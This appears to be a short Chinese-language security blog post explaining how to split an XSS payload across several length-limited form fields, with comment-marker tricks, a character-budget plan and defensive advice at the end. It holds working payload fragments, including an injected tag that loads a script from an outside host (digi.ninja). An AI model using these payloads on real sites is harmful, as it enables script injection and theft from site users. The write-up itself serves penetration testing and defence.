Split XSS - 分割XSS攻击载荷
突破20字符限制的XSS攻击技术
在测试一个编辑表单时,我发现8个输入字段都存在XSS漏洞,但每个字段限制为20个字符。常规XSS攻击无法在如此短的字符限制下完成,于是我开发了以下技术:
基本攻击思路
- 在第一个输入中开启
<script>
标签但不闭合:1
"><script>alert(1)/*
- 在后续输入中闭合标签:
1
*/</script>
字符分配策略
- 第一个字段:用12个字符闭合输入标签并开始脚本标签,剩余8个字符用于有效载荷
- 中间字段:每字段16个有效载荷字符(扣除4个字符用于注释标记)
- 最后字段:9个有效载荷字符(扣除11个字符用于闭合注释和脚本标签)
实际攻击载荷示例
|
|
组合XSS技术
当网站将两个输入字段组合显示时,可以:
- 在名字字段注入不完整的脚本标签:
1
abc<script src="//digi.ninja/script.js"
- 在姓氏字段注入闭合标签:
1
/>
组合后形成完整标签:
|
|
防御措施
- 正确的输出编码是根本解决方案
- 输入验证可以作为辅助防御层
- 永远不要信任用户提供的内容